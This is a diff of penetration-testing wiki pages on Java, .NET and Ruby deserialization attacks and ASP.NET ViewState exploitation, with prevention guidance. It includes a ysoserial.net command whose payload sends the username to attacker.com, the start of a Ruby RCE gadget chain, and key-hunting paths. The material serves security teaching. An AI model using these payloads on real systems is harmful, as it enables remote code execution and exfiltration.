Java Deserialization Scanner is focused on **`ObjectInputStream`** deserializations.
|
||||
|
||||
You can also use [**Freddy**](https://github.com/nccgroup/freddy) to **detect deserializations** vulnerabilities in **Burp**. This plugin will detect \*\*not only `ObjectInputStream`\*\*related vulnerabilities but **also** vulns from **Json** an **Yml** deserialization libraries. In active mode, it will try to confirm them using sleep or DNS payloads.\
|
||||
You can also use [**Freddy**](https://github.com/nccgroup/freddy) to **detect deserializations** vulnerabilities in **Burp**. This plugin will detect **not only `ObjectInputStream`** related vulnerabilities but **also** vulns from **Json** an **Yml** deserialization libraries. In active mode, it will try to confirm them using sleep or DNS payloads.\
|
||||
[**You can find more information about Freddy here.**](https://www.nccgroup.com/us/about-us/newsroom-and-events/blog/2018/june/finding-deserialisation-issues-has-never-been-easier-freddy-the-serialisation-killer/)
|
||||
|
||||
**Serialization Test**
|
||||
|
@ -401,7 +406,7 @@ If you find a java serialized object being sent to a web application, **you can
|
|||
|
||||
#### **ysoserial**
|
||||
|
||||
The most well-known tool to exploit Java deserializations is [**ysoserial**](https://github.com/frohoff/ysoserial) ([**download here**](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar)). You can also consider using [**ysoseral-modified**](https://github.com/pimps/ysoserial-modified) which will allow you to use complex commands (with pipes for example).\
|
||||
The main tool to exploit Java deserializations is [**ysoserial**](https://github.com/frohoff/ysoserial) ([**download here**](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar)). You can also consider using [**ysoseral-modified**](https://github.com/pimps/ysoserial-modified) which will allow you to use complex commands (with pipes for example).\
|
||||
Note that this tool is **focused** on exploiting **`ObjectInputStream`**.\
|
||||
I would **start using the "URLDNS"** payload **before a RCE** payload to test if the injection is possible. Anyway, note that maybe the "URLDNS" payload is not working but other RCE payload is.
|
||||
|
||||
|
@ -517,13 +522,13 @@ Read more about this Java JSON library: [https://www.alphabot.com/security/blog/
|
|||
|
||||
### Why
|
||||
|
||||
Java LOVES sending serialized objects all over the place. For example:
|
||||
Java uses a lot serialization for various purposes like:
|
||||
|
||||
* In **HTTP requests** – Parameters, ViewState, Cookies, you name it.
|
||||
* **RMI** – The extensively used Java RMI protocol is 100% based on serialization
|
||||
* **RMI over HTTP** – Many Java thick client web apps use this – again 100% serialized objects
|
||||
* **JMX** – Again, relies on serialized objects being shot over the wire
|
||||
* **Custom Protocols** – Sending an receiving raw Java objects is the norm – which we’ll see in some of the exploits to come
|
||||
- **HTTP requests**: Serialization is widely employed in the management of parameters, ViewState, cookies, etc.
|
||||
- **RMI (Remote Method Invocation)**: The Java RMI protocol, which relies entirely on serialization, is a cornerstone for remote communication in Java applications.
|
||||
- **RMI over HTTP**: This method is commonly used by Java-based thick client web applications, utilizing serialization for all object communications.
|
||||
- **JMX (Java Management Extensions)**: JMX utilizes serialization for transmitting objects over the network.
|
||||
- **Custom Protocols**: In Java, the standard practice involves the transmission of raw Java objects, which will be demonstrated in upcoming exploit examples.
|
||||
|
||||
### Prevention
|
||||
|
||||
|
@ -540,7 +545,7 @@ public class myAccount implements Serializable
|
|||
|
||||
#### Avoid Serialization of a class that need to implements Serializable
|
||||
|
||||
Some of your application objects may be forced to implement `Serializable` due to their hierarchy. To guarantee that your application objects can't be deserialized, a `readObject()` method should be declared (with a `final` modifier) which always throws an exception:
|
||||
In scenarios where certain **objects must implement the `Serializable`** interface due to class hierarchy, there's a risk of unintentional deserialization. To prevent this, ensure these objects are non-deserializable by defining a `final` `readObject()` method that consistently throws an exception, as shown below:
|
||||
|
||||
```java
|
||||
private final void readObject(ObjectInputStream in) throws java.io.IOException {
|
||||
|
@ -548,20 +553,17 @@ private final void readObject(ObjectInputStream in) throws java.io.IOException {
|
|||
}
|
||||
```
|
||||
|
||||
#### Check deserialized class before deserializing it
|
||||
#### **Enhancing Deserialization Security in Java**
|
||||
|
||||
The `java.io.ObjectInputStream` class is used to deserialize objects. It's possible to harden its behavior by subclassing it. This is the best solution if:
|
||||
**Customizing `java.io.ObjectInputStream`** is a practical approach for securing deserialization processes. This method is suitable when:
|
||||
|
||||
* You can change the code that does the deserialization
|
||||
* You know what classes you expect to deserialize
|
||||
- The deserialization code is under your control.
|
||||
- The classes expected for deserialization are known.
|
||||
|
||||
The general idea is to override [`ObjectInputStream.html#resolveClass()`](https://docs.oracle.com/javase/7/docs/api/java/io/ObjectInputStream.html#resolveClass\(java.io.ObjectStreamClass\)) in order to restrict which classes are allowed to be deserialized.
|
||||
|
||||
Because this call happens before a `readObject()` is called, you can be sure that no deserialization activity will occur unless the type is one that you wish to allow.
|
||||
|
||||
A simple example of this shown here, where the the `LookAheadObjectInputStream` class is guaranteed not to deserialize any other type besides the `Bicycle` class:
|
||||
Override the **`resolveClass()`** method to limit deserialization to allowed classes only. This prevents deserialization of any class except those explicitly permitted, such as in the following example that restricts deserialization to the `Bicycle` class only:
|
||||
|
||||
```java
|
||||
// Code from https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
|
||||
public class LookAheadObjectInputStream extends ObjectInputStream {
|
||||
|
||||
public LookAheadObjectInputStream(InputStream inputStream) throws IOException {
|
||||
|
@ -581,21 +583,43 @@ public class LookAheadObjectInputStream extends ObjectInputStream {
|
|||
}
|
||||
```
|
||||
|
||||
**Harden All java.io.ObjectInputStream Usage with an Agent**
|
||||
|
||||
If you don't own the code or can't wait for a patch, using an agent to weave in hardening to `java.io.ObjectInputStream` is the best solution.\
|
||||
Using this approach you can only Blacklist known malicious types and not whitelist them as you don't know which object are being serialized.
|
||||
|
||||
To enable these agents, simply add a new JVM parameter:
|
||||
**Using a Java Agent for Security Enhancement** offers a fallback solution when code modification isn't possible. This method applies mainly for **blacklisting harmful classes**, using a JVM parameter:
|
||||
|
||||
```
|
||||
-javaagent:name-of-agent.jar
|
||||
```
|
||||
|
||||
Example: [rO0 by Contrast Security](https://github.com/Contrast-Security-OSS/contrast-rO0)
|
||||
It provides a way to secure deserialization dynamically, ideal for environments where immediate code changes are impractical.
|
||||
|
||||
Check and example in [rO0 by Contrast Security](https://github.com/Contrast-Security-OSS/contrast-rO0)
|
||||
|
||||
|
||||
**Implementing Serialization Filters**: Java 9 introduced serialization filters via the **`ObjectInputFilter`** interface, providing a powerful mechanism for specifying criteria that serialized objects must meet before being deserialized. These filters can be applied globally or per stream, offering a granular control over the deserialization process.
|
||||
|
||||
To utilize serialization filters, you can set a global filter that applies to all deserialization operations or configure it dynamically for specific streams. For example:
|
||||
|
||||
```java
|
||||
ObjectInputFilter filter = info -> {
|
||||
if (info.depth() > MAX_DEPTH) return Status.REJECTED; // Limit object graph depth
|
||||
if (info.references() > MAX_REFERENCES) return Status.REJECTED; // Limit references
|
||||
if (info.serialClass() != null && !allowedClasses.contains(info.serialClass().getName())) {
|
||||
return Status.REJECTED; // Restrict to allowed classes
|
||||
}
|
||||
return Status.ALLOWED;
|
||||
};
|
||||
ObjectInputFilter.Config.setSerialFilter(filter);
|
||||
```
|
||||
|
||||
**Leveraging External Libraries for Enhanced Security**: Libraries such as **NotSoSerial**, **jdeserialize**, and **Kryo** offer advanced features for controlling and monitoring Java deserialization. These libraries can provide additional layers of security, such as whitelisting or blacklisting classes, analyzing serialized objects before deserialization, and implementing custom serialization strategies.
|
||||
|
||||
- **NotSoSerial** intercepts deserialization processes to prevent execution of untrusted code.
|
||||
- **jdeserialize** allows for the analysis of serialized Java objects without deserializing them, helping identify potentially malicious content.
|
||||
- **Kryo** is an alternative serialization framework that emphasizes speed and efficiency, offering configurable serialization strategies that can enhance security.
|
||||
|
||||
|
||||
### References
|
||||
|
||||
* [https://cheatsheetseries.owasp.org/cheatsheets/Deserialization\_Cheat\_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization\_Cheat\_Sheet.html)
|
||||
* Deserialization and ysoserial talk: [http://frohoff.github.io/appseccali-marshalling-pickles/](http://frohoff.github.io/appseccali-marshalling-pickles/)
|
||||
* [https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/](https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/)
|
||||
* [https://www.youtube.com/watch?v=VviY3O-euVQ](https://www.youtube.com/watch?v=VviY3O-euVQ)
|
||||
|
@ -623,9 +647,9 @@ Find whats is **JNDI Injection, how to abuse it via RMI, CORBA & LDAP and how to
|
|||
|
||||
There are several products using this middleware to send messages:
|
||||
|
||||
![](<../../.gitbook/assets/image (291).png>)
|
||||
![https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf](<../../.gitbook/assets/image (291).png>)
|
||||
|
||||
![](<../../.gitbook/assets/image (292).png>)
|
||||
![https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf](<../../.gitbook/assets/image (292).png>)
|
||||
|
||||
### Exploitation
|
||||
|
||||
|
@ -643,22 +667,22 @@ The tool [JMET](https://github.com/matthiaskaiser/jmet) was created to **connect
|
|||
|
||||
## .Net
|
||||
|
||||
.Net is similar to Java regarding how deserialization exploits work: The **exploit** will **abuse gadgets** that **execute** some interesting **code when** an object is **deserialized**.
|
||||
In the context of .Net, deserialization exploits operate in a manner akin to those found in Java, where gadgets are exploited to run specific code during the deserialization of an object.
|
||||
|
||||
### Fingerprint
|
||||
|
||||
#### WhiteBox
|
||||
|
||||
Search the source code for the following terms:
|
||||
The source code should be inspected for occurrences of:
|
||||
|
||||
1. `TypeNameHandling`
|
||||
2. `JavaScriptTypeResolver`
|
||||
|
||||
Look for any serializers where the type is set by a user controlled variable.
|
||||
The focus should be on serializers that permit the type to be determined by a variable under user control.
|
||||
|
||||
#### BlackBox
|
||||
|
||||
You can search for the Base64 encoded string **AAEAAAD/////** or any other thing that **may be deserialized** in the back-end and that allows you to control the deserialized type\*\*.\*\* For example, a **JSON** or **XML** containing `TypeObject` or `$type`.
|
||||
The search should target the Base64 encoded string **AAEAAAD/////** or any similar pattern that might undergo deserialization on the server-side, granting control over the type to be deserialized. This could include, but is not limited to, **JSON** or **XML** structures featuring `TypeObject` or `$type`.
|
||||
|
||||
### ysoserial.net
|
||||
|
||||
|
@ -666,12 +690,12 @@ In this case you can use the tool [**ysoserial.net**](https://github.com/pwntest
|
|||
|
||||
If you want to learn about **how does ysoserial.net creates it's exploit** you can [**check this page where is explained the ObjectDataProvider gadget + ExpandedWrapper + Json.Net formatter**](basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md).
|
||||
|
||||
The main options of **ysoserial.net** are: **`--gadget`**, **`--formatter`**, \*\*`--output` \*\* and **`--plugin`.**
|
||||
The main options of **ysoserial.net** are: **`--gadget`**, **`--formatter`**, **`--output`** and **`--plugin`.**
|
||||
|
||||
* **`--gadget`** used to indicate the gadget to abuse (indicate the class/function that will be abused during deserialization to execute commands).
|
||||
* **`--formatter`**, used to indicated the method to serialized the exploit (you need to know which library is using the back-end to deserialize the payload and use the same to serialize it)
|
||||
* \*\*`--output` \*\* used to indicate if you want the exploit in **raw** or **base64** encoded. _Note that **ysoserial.net** will **encode** the payload using **UTF-16LE** (encoding used by default on Windows) so if you get the raw and just encode it from a linux console you might have some **encoding compatibility problems** that will prevent the exploit from working properly (in HTB JSON box the payload worked in both UTF-16LE and ASCII but this doesn't mean it will always work)._
|
||||
* \*\*`--plugin` \*\* ysoserial.net supports plugins to craft **exploits for specific frameworks** like ViewState
|
||||
* **`--output`** used to indicate if you want the exploit in **raw** or **base64** encoded. _Note that **ysoserial.net** will **encode** the payload using **UTF-16LE** (encoding used by default on Windows) so if you get the raw and just encode it from a linux console you might have some **encoding compatibility problems** that will prevent the exploit from working properly (in HTB JSON box the payload worked in both UTF-16LE and ASCII but this doesn't mean it will always work)._
|
||||
* **`--plugin`** ysoserial.net supports plugins to craft **exploits for specific frameworks** like ViewState
|
||||
|
||||
#### More ysoserial.net parameters
|
||||
|
||||
|
@ -737,56 +761,28 @@ Therefore the **`--test`** parameter allows us to understand **which chunks of c
|
|||
|
||||
Take a look to [this POST about **how to try to exploit the \_\_ViewState parameter of .Net** ](exploiting-\_\_viewstate-parameter.md)to **execute arbitrary code.** If you **already know the secrets** used by the victim machine, [**read this post to know to execute code**](exploiting-\_\_viewstate-knowing-the-secret.md)**.**
|
||||
|
||||
### **Prevention**
|
||||
### Prevention
|
||||
|
||||
Don't allow the datastream to define the type of object that the stream will be deserialized to. You can prevent this by for example using the `DataContractSerializer` or `XmlSerializer` if at all possible.
|
||||
To mitigate the risks associated with deserialization in .Net:
|
||||
|
||||
Where `JSON.Net` is being used make sure the `TypeNameHandling` is only set to `None`.
|
||||
- **Avoid allowing data streams to define their object types.** Utilize `DataContractSerializer` or `XmlSerializer` when possible.
|
||||
|
||||
```
|
||||
TypeNameHandling = TypeNameHandling.None
|
||||
```
|
||||
- **For `JSON.Net`, set `TypeNameHandling` to `None`:**
|
||||
%%%TypeNameHandling = TypeNameHandling.None%%%
|
||||
|
||||
If `JavaScriptSerializer` is to be used then do not use it with a `JavaScriptTypeResolver`.
|
||||
- **Avoid using `JavaScriptSerializer` with a `JavaScriptTypeResolver`.**
|
||||
|
||||
If you must deserialise data streams that define their own type, then restrict the types that are allowed to be deserialized. One should be aware that this is still risky as many native .Net types potentially dangerous in themselves. e.g.
|
||||
- **Limit the types that can be deserialized**, understanding the inherent risks with .Net types, such as `System.IO.FileInfo`, which can modify server files' properties, potentially leading to denial of service attacks.
|
||||
|
||||
```
|
||||
System.IO.FileInfo
|
||||
```
|
||||
- **Be cautious with types having risky properties**, like `System.ComponentModel.DataAnnotations.ValidationException` with its `Value` property, which can be exploited.
|
||||
|
||||
`FileInfo` objects that reference files actually on the server can when deserialized, change the properties of those files e.g. to read-only, creating a potential denial of service attack.
|
||||
- **Securely control type instantiation** to prevent attackers from influencing the deserialization process, rendering even `DataContractSerializer` or `XmlSerializer` vulnerable.
|
||||
|
||||
Even if you have limited the types that can be deserialised remember that some types have properties that are risky. `System.ComponentModel.DataAnnotations.ValidationException`, for example has a property `Value` of type `Object`. if this type is the type allowed for deserialization then an attacker can set the `Value` property to any object type they choose.
|
||||
- **Implement white list controls** using a custom `SerializationBinder` for `BinaryFormatter` and `JSON.Net`.
|
||||
|
||||
Attackers should be prevented from steering the type that will be instantiated. If this is possible then even `DataContractSerializer` or `XmlSerializer` can be subverted e.g.
|
||||
- **Stay informed about known insecure deserialization gadgets** within .Net and ensure deserializers do not instantiate such types.
|
||||
|
||||
```
|
||||
// Action below is dangerous if the attacker can change the data in the database
|
||||
var typename = GetTransactionTypeFromDatabase();
|
||||
|
||||
var serializer = new DataContractJsonSerializer(Type.GetType(typename));
|
||||
|
||||
var obj = serializer.ReadObject(ms);
|
||||
```
|
||||
|
||||
Execution can occur within certain .Net types during deserialization. Creating a control such as the one shown below is ineffective.
|
||||
|
||||
```
|
||||
var suspectObject = myBinaryFormatter.Deserialize(untrustedData);
|
||||
|
||||
//Check below is too late! Execution may have already occurred.
|
||||
if (suspectObject is SomeDangerousObjectType)
|
||||
{
|
||||
//generate warnings and dispose of suspectObject
|
||||
}
|
||||
```
|
||||
|
||||
For `BinaryFormatter` and `JSON.Net` it is possible to create a safer form of white list control using a custom `SerializationBinder`.
|
||||
|
||||
Try to keep up-to-date on known .Net insecure deserialization gadgets and pay special attention where such types can be created by your deserialization processes. **A deserializer can only instantiate types that it knows about**.
|
||||
|
||||
Try to keep any code that might create potential gadgets separate from any code that has internet connectivity. As an example `System.Windows.Data.ObjectDataProvider` used in WPF applications is a known gadget that allows arbitrary method invocation. It would be risky to have this a reference to this assembly in a REST service project that deserializes untrusted data.
|
||||
- **Isolate potentially risky code** from code with internet access to avoid exposing known gadgets, such as `System.Windows.Data.ObjectDataProvider` in WPF applications, to untrusted data sources.
|
||||
|
||||
### **References**
|
||||
|
||||
|
@ -797,19 +793,22 @@ Try to keep any code that might create potential gadgets separate from any code
|
|||
|
||||
## **Ruby**
|
||||
|
||||
Ruby has two methods to implement serialization inside the **marshal** library: first method is **dump** that converts object into bytes streams **(serialize)**. And the second method is **load** to convert bytes stream to object again (**deserialize**).\
|
||||
Ruby uses HMAC to sign the serialized object and saves the key on one of the following files:
|
||||
In Ruby, serialization is facilitated by two methods within the **marshal** library. The first method, known as **dump**, is used to transform an object into a byte stream. This process is referred to as serialization. Conversely, the second method, **load**, is employed to revert a byte stream back into an object, a process known as deserialization.
|
||||
|
||||
* config/environment.rb
|
||||
* config/initializers/secret\_token.rb
|
||||
* config/secrets.yml
|
||||
* /proc/self/environ
|
||||
For securing serialized objects, **Ruby employs HMAC (Hash-Based Message Authentication Code)**, ensuring the integrity and authenticity of the data. The key utilized for this purpose is stored in one of several possible locations:
|
||||
|
||||
Ruby 2.X generic deserialization to RCE gadget chain (more info in [https://www.elttam.com/blog/ruby-deserialization/](https://www.elttam.com/blog/ruby-deserialization/)):
|
||||
- `config/environment.rb`
|
||||
- `config/initializers/secret_token.rb`
|
||||
- `config/secrets.yml`
|
||||
- `/proc/self/environ`
|
||||
|
||||
**Ruby 2.X generic deserialization to RCE gadget chain (more info in [https://www.elttam.com/blog/ruby-deserialization/](https://www.elttam.com/blog/ruby-deserialization/))**:
|
||||
|
||||
```ruby
|
||||
#!/usr/bin/env ruby
|
||||
|
||||
# Code from https://www.elttam.com/blog/ruby-deserialization/
|
||||
|
||||
class Gem::StubSpecification
|
||||
def initialize; end
|
||||
end
|
||||
|
|
|
@ -22,7 +22,7 @@ Therefore, the arbitrary **object** will **execute** a **function** with **param
|
|||
|
||||
### **How is this possible**
|
||||
|
||||
The ObjectDataProvider is defined and implemented in the System.Windows.Data namespace, which is located in the **PresentationFramework.dll** (_C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF_).
|
||||
The **System.Windows.Data** namespace, found within the **PresentationFramework.dll** at `C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF`, is where the ObjectDataProvider is defined and implemented.
|
||||
|
||||
Using [**dnSpy**](https://github.com/0xd4d/dnSpy) you can **inspect the code** of the class we are interested in. In the image below we are seeing the code of **PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Method name**
|
||||
|
||||
|
@ -68,7 +68,7 @@ Note that you need to add as reference _C:\Windows\Microsoft.NET\Framework\v4.0.
|
|||
|
||||
## ExpandedWrapper
|
||||
|
||||
Using the previous exploit there will be cases where the **object** is going to be **deserialized as** an _**ObjectDataProvider**_\*\* instance\*\* (for example in DotNetNuke vuln, using XmlSerializer, the object was deserialized using `GetType`). Then, will have **no knowledge of the object type that is wrapped** in the _ObjectDataProvider_ instance (`Process` for example). You can find more [information about the DotNetNuke vuln here](https://translate.google.com/translate?hl=en\&sl=auto\&tl=en\&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F\&sandbox=1).
|
||||
Using the previous exploit there will be cases where the **object** is going to be **deserialized as** an _**ObjectDataProvider**_ instance (for example in DotNetNuke vuln, using XmlSerializer, the object was deserialized using `GetType`). Then, will have **no knowledge of the object type that is wrapped** in the _ObjectDataProvider_ instance (`Process` for example). You can find more [information about the DotNetNuke vuln here](https://translate.google.com/translate?hl=en\&sl=auto\&tl=en\&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F\&sandbox=1).
|
||||
|
||||
This class allows to s**pecify the object types of the objects that are encapsulated** in a given instance. So, this class can be used to encapsulate a source object (_ObjectDataProvider_) into a new object type and provide the properties we need (_ObjectDataProvider.MethodName_ and _ObjectDataProvider.MethodParameters_).\
|
||||
This is very useful for cases as the one presented before, because we will be able to **wrap \_ObjectDataProvider**_\*\* inside an \*\*_**ExpandedWrapper** \_ instance and **when deserialized** this class will **create** the _**OjectDataProvider**_ object that will **execute** the **function** indicated in _**MethodName**_.
|
||||
|
|
|
@ -22,19 +22,31 @@ If you are interested in **hacking career** and hack the unhackable - **we are h
|
|||
|
||||
## What is ViewState
|
||||
|
||||
**ViewState** is the method that the ASP.NET framework uses by default to p**reserve page and control values between web pages**. When the HTML for the page is rendered, the current state of the page and values that need to be retained during postback are serialized into base64-encoded strings and output in the ViewState hidden field or fields.\
|
||||
The following properties or combination of properties apply to ViewState information:
|
||||
**ViewState** serves as the default mechanism in ASP.NET to maintain page and control data across web pages. During the rendering of a page's HTML, the current state of the page and values to be preserved during a postback are serialized into base64-encoded strings. These strings are then placed in hidden ViewState fields.
|
||||
|
||||
* Base64
|
||||
* Can be defined using EnableViewStateMac and ViewStateEncryptionMode attribute set to false
|
||||
* Base64 + MAC (Message Authentication Code) Enabled
|
||||
* Can be defined using EnableViewStateMac attribute set to true
|
||||
* Base64 + Encrypted
|
||||
* Can be defined using viewStateEncryptionMode attribute set to true
|
||||
ViewState information can be characterized by the following properties or their combinations:
|
||||
|
||||
## **Test Cases**
|
||||
- **Base64**:
|
||||
- This format is utilized when both `EnableViewStateMac` and `ViewStateEncryptionMode` attributes are set to false.
|
||||
|
||||
- **Base64 + MAC (Message Authentication Code) Enabled**:
|
||||
- Activation of MAC is achieved by setting the `EnableViewStateMac` attribute to true. This provides integrity verification for ViewState data.
|
||||
|
||||
- **Base64 + Encrypted**:
|
||||
- Encryption is applied when the `ViewStateEncryptionMode` attribute is set to true, ensuring the confidentiality of ViewState data.
|
||||
|
||||
## Test Cases
|
||||
|
||||
The image is a table detailing different configurations for ViewState in ASP.NET based on the .NET framework version. Here's a summary of the content:
|
||||
|
||||
1. For **any version of .NET**, when both MAC and Encryption are disabled, a MachineKey is not required, and thus there's no applicable method to identify it.
|
||||
|
||||
2. For **versions below 4.5**, if MAC is enabled but Encryption is not, a MachineKey is required. The method to identify the MachineKey is referred to as "Blacklist3r."
|
||||
|
||||
3. For **versions below 4.5**, regardless of whether MAC is enabled or disabled, if Encryption is enabled, a MachineKey is needed. Identifying the MachineKey is a task for "Blacklist3r - Future Development."
|
||||
|
||||
4. For **versions 4.5 and above**, all combinations of MAC and Encryption (whether both are true, or one is true and the other is false) necessitate a MachineKey. The MachineKey can be identified using "Blacklist3r."
|
||||
|
||||
![](<../../.gitbook/assets/image (309) (2).png>)
|
||||
|
||||
### Test Case: 1 – EnableViewStateMac=false and viewStateEncryptionMode=false
|
||||
|
||||
|
@ -46,11 +58,7 @@ HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v{VersionHere}
|
|||
|
||||
**Identifying ViewState Attributes**
|
||||
|
||||
You can try to identify if ViewState is MAC protected by capturing a request containing this parameter with BurpSuite:
|
||||
|
||||
![](https://notsosecure.com/sites/all/assets/group/nss\_uploads/2019/06/1.0.png)
|
||||
|
||||
If Mac is not used to protect the parameter you can exploit it using [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net).
|
||||
You can try to identify if ViewState is MAC protected by capturing a request containing this parameter with BurpSuite. If Mac is not used to protect the parameter you can exploit it using [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)
|
||||
|
||||
```
|
||||
ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName"
|
||||
|
@ -62,6 +70,7 @@ Developers can **remove ViewState** from becoming part of an HTTP Request (the u
|
|||
One may assume that if **ViewState** is **not present**, their implementation is **secure** from any potential vulnerabilities arising with ViewState deserialization.\
|
||||
However, that is not the case. If we **add ViewState parameter** to the request body and send our serialized payload created using ysoserial, we will still be able to achieve **code execution** as shown in **Case 1**.
|
||||
|
||||
|
||||
### Test Case: 2 – .Net < 4.5 and EnableViewStateMac=true & ViewStateEncryptionMode=false
|
||||
|
||||
In order to **enable ViewState MAC** for a **specific page** we need to make following changes on a specific aspx file:
|
||||
|
@ -72,7 +81,7 @@ In order to **enable ViewState MAC** for a **specific page** we need to make fol
|
|||
|
||||
We can also do it for **overall** application by setting it on the **web.config** file as shown below:
|
||||
|
||||
```markup
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<configuration>
|
||||
<system.web>
|
||||
|
@ -83,9 +92,7 @@ We can also do it for **overall** application by setting it on the **web.config*
|
|||
</configuration>
|
||||
```
|
||||
|
||||
As the parameter is MAC protected this time to successfully execute the attack we first need the key used. In this case, BurpSuite will let us know that the parameter is MAC protected:
|
||||
|
||||
![](https://notsosecure.com/sites/all/assets/group/nss\_uploads/2019/06/2.0.png)
|
||||
As the parameter is MAC protected this time to successfully execute the attack we first need the key used.
|
||||
|
||||
You can try to use [**Blacklist3r(AspDotNetWrapper.exe)** ](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper)to find the key used.
|
||||
|
||||
|
@ -96,7 +103,6 @@ AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0M
|
|||
--modifier : __VIWESTATEGENERATOR parameter value
|
||||
```
|
||||
|
||||
![](https://notsosecure.com/sites/all/assets/group/nss\_uploads/2019/06/2.1.png)
|
||||
|
||||
[**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets) is another tool which can identify known machineKeys. It is written in Python, so unlike Blacklist3r, there is no Windows dependency. For .NET viewstates, there is a "python blacklist3r" utility, which is the quickest way to use it.
|
||||
|
||||
|
@ -109,7 +115,7 @@ cd badsecrets
|
|||
python examples/blacklist3r.py --viewstate /wEPDwUJODExMDE5NzY5ZGQMKS6jehX5HkJgXxrPh09vumNTKQ== --generator EDD8C9AE
|
||||
```
|
||||
|
||||
![](https://user-images.githubusercontent.com/24899338/227034640-662b6aad-f8b9-49e4-9a6b-62a5f6ae2d60.png)
|
||||
![https://user-images.githubusercontent.com/24899338/227034640-662b6aad-f8b9-49e4-9a6b-62a5f6ae2d60.png](https://user-images.githubusercontent.com/24899338/227034640-662b6aad-f8b9-49e4-9a6b-62a5f6ae2d60.png)
|
||||
|
||||
Or, it can connect directly to the target URL and try to carve the viewstate out of the HTML:
|
||||
|
||||
|
@ -120,7 +126,7 @@ cd badsecrets
|
|||
python examples/blacklist3r.py --url http://vulnerablesite/vulnerablepage.aspx
|
||||
```
|
||||
|
||||
![](https://user-images.githubusercontent.com/24899338/227034654-e8ad9648-6c0e-47cb-a873-bf97623a0089.png)
|
||||
![https://user-images.githubusercontent.com/24899338/227034654-e8ad9648-6c0e-47cb-a873-bf97623a0089.png](https://user-images.githubusercontent.com/24899338/227034654-e8ad9648-6c0e-47cb-a873-bf97623a0089.png)
|
||||
|
||||
To search for vulnerable viewstates at scale, in conjunction with subdomain enumeration, the `badsecrets` [**BBOT**](exploiting-\_\_viewstate-parameter.md) module can be used:
|
||||
|
||||
|
@ -128,7 +134,7 @@ To search for vulnerable viewstates at scale, in conjunction with subdomain enum
|
|||
bbot -f subdomain-enum -m badsecrets -t evil.corp
|
||||
```
|
||||
|
||||
![](https://user-images.githubusercontent.com/24899338/227028780-950d067a-4a01-481f-8e11-41fabed1943a.png)
|
||||
![https://user-images.githubusercontent.com/24899338/227028780-950d067a-4a01-481f-8e11-41fabed1943a.png](https://user-images.githubusercontent.com/24899338/227028780-950d067a-4a01-481f-8e11-41fabed1943a.png)
|
||||
|
||||
If you are lucky and the key is found,you can proceed with the attack using [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)**:**
|
||||
|
||||
|
@ -146,25 +152,21 @@ In cases where `_VIEWSTATEGENERATOR` parameter **isn't sent** by the server you
|
|||
|
||||
### Test Case: 3 – .Net < 4.5 and EnableViewStateMac=true/false and ViewStateEncryptionMode=true
|
||||
|
||||
In this case Burp doesn't find if the parameter is protected with MAC because it doesn't recognise the values. Then, the value is probably encrypted and you will **need the Machine Key to encrypt your payload** to exploit the vulnerability.
|
||||
|
||||
![](https://notsosecure.com/sites/all/assets/group/nss\_uploads/2019/06/3.0.png)
|
||||
In this it's not known if the parameter is protected with MAC. Then, the value is probably encrypted and you will **need the Machine Key to encrypt your payload** to exploit the vulnerability.
|
||||
|
||||
**In this case the** [**Blacklist3r**](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) **module is under development...**
|
||||
|
||||
**Prior to .NET 4.5**, ASP.NET can **accept** an **unencrypted** \_`__VIEWSTATE`\_parameter from the users **even** if **`ViewStateEncryptionMode`** has been set to _**Always**_. ASP.NET **only checks** the **presence** of the **`__VIEWSTATEENCRYPTED`** parameter in the request. **If one removes this parameter, and sends the unencrypted payload, it will still be processed.**
|
||||
|
||||
Threfore, if the Machinekey is known (e.g. via a directory traversal issue), [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) command used in the **Case 2**, can be used to perform RCE using ViewState deserialization vulnerability.
|
||||
Therefore if the attackers find a way to get the Machinekey via another vuln like file traversal, [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) command used in the **Case 2**, can be used to perform RCE using ViewState deserialization vulnerability.
|
||||
|
||||
* Remove `__VIEWSTATEENCRYPTED` parameter from the request in order to exploit the ViewState deserialization vulnerability, else it will return a Viewstate MAC validation error and exploit will fail as shown in Figure:
|
||||
|
||||
![](https://notsosecure.com/sites/all/assets/group/nss\_uploads/2019/06/3.1.png)
|
||||
* Remove `__VIEWSTATEENCRYPTED` parameter from the request in order to exploit the ViewState deserialization vulnerability, else it will return a Viewstate MAC validation error and exploit will fail.
|
||||
|
||||
### Test Case: 4 – .Net >= 4.5 and EnableViewStateMac=true/false and ViewStateEncryptionMode=true/false except both attribute to false
|
||||
|
||||
We can force the usage of ASP.NET framework by specifying the below parameter inside the web.config file as shown below.
|
||||
|
||||
```markup
|
||||
```xml
|
||||
<httpRuntime targetFramework="4.5" />
|
||||
```
|
||||
|
||||
|
